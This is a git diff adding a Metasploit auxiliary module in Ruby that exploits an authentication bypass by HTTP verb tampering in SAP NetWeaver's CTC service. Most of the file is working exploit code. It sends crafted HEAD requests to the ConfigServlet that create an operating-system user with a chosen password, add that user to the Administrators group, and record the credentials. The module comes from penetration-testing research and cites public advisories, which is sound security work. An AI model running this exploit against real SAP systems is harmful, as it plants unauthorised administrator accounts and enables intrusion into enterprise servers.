diff --git a/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb b/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb
new file mode 100644
index 0000000000..146ff05f91
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+++ b/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb
@@ -0,0 +1,108 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+##
+# This module is based on, inspired by, or is a port of a plugin available in
+# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
+# http://www.onapsis.com/research-free-solutions.php.
+# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
+# in producing the Metasploit modules and was happy to share his knowledge and
+# experience - a very cool guy.
+#
+# The following guys from ERP-SCAN deserve credit for their contributions -
+# Alexandr Polyakov, Alexey Sintsov, Alexey Tyurin, Dmitry Chastukhin and
+# Dmitry Evdokimov.
+#
+# I'd also like to thank Chris John Riley, Ian de Villiers and Joris van de Vis
+# who have Beta tested the modules and provided excellent feedback. Some people
+# just seem to enjoy hacking SAP :)
+##
+
+require 'msf/core'
+
+class Metasploit4 < Msf::Auxiliary
+	include Msf::Exploit::Remote::HttpClient
+	include Msf::Auxiliary::Report
+	include Msf::Auxiliary::Scanner
+
+	def initialize
+		super(
+			'Name' => 'SAP CTC Service Verb Tampering User Management',
+			'Description' => %q{
+					This module exploits an authentication bypass vulnerability in SAP NetWeaver
+				CTC service. The service is vulnerable to verb tampering allowing for unauthorised
+				OS user management. Information about resolution should be available at SAP notes
+				1589525 and 1624450 (authentication required).
+			},
+			'References' =>
+				[
+					[ 'URL', 'http://erpscan.com/advisories/dsecrg-11-041-sap-netweaver-authentication-bypass-verb-tampering/' ],
+					[ 'URL', 'http://erpscan.com/wp-content/uploads/2012/11/Breaking-SAP-Portal-HackerHalted-2012.pdf' ]
+				],
+			'Author' =>
+				[
+					'Alexandr Polyakov', # Vulnerability discovery
+					'nmonkee' # Metasploit module
+				],
+			'License' => MSF_LICENSE
+		)
+
+		register_options([
+			Opt::RPORT(50000),
+			OptString.new('USERNAME', [true, 'Username to create', 'msf']),
+			OptString.new('PASSWORD', [true, 'Password for the new user', '$Metasploit1234$']),
+			OptString.new('GROUP', [true, 'Group for the new user', 'Administrators'])
+		], self.class)
+	end
+
+	def run_host(ip)
+		vprint_status("#{rhost}:#{rport} - Creating User...")
+		uri = '/ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig;CREATEUSER;USERNAME=' + datastore['USERNAME'] + ',PASSWORD=' + datastore['PASSWORD']
+		if send_request(uri)
+			print_good("#{rhost}:#{rport} - User #{datastore['USERNAME']} with password #{datastore['PASSWORD']} successfully created")
+		else
+			return
+		end
+
+		vprint_status("#{rhost}:#{rport} - Adding User to Group...")
+		uri = '/ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig;ADD_USER_TO_GROUP;USERNAME=' + datastore['USERNAME'] + ',GROUPNAME=' + datastore['GROUP']
+		if send_request(uri)
+			print_good("#{rhost}:#{rport} - User #{datastore['USERNAME']} added to group #{datastore['GROUP']}")
+		else
+			return
+		end
+
+		report_auth_info(
+			:host => rhost,
+			:port => rport,
+			:user => datastore['USERNAME'],
+			:pass => datastore['PASSWORD'],
+			:ptype => "password",
+			:active => true
+		)
+	end
+
+	def send_request(uri)
+		begin
+			res = send_request_cgi({
+				'uri' => uri,
+				'method' => 'HEAD',
+				'ctype' => 'text/xml; charset=UTF-8',
+				'cookie' => 'sap-usercontext=sap-language=EN'
+			})
+			if res and res.code == 200 and res.headers['Server'] =~ /SAP J2EE Engine/
+				return true
+			elsif res
+				vprint_error("#{rhost}:#{rport} - Unexpected Response: #{res.code} #{res.message}")
+				return false
+			end
+		rescue ::Rex::ConnectionError
+			vprint_error("#{rhost}:#{rport} - Unable to connect")
+			return false
+		end
+	end
+end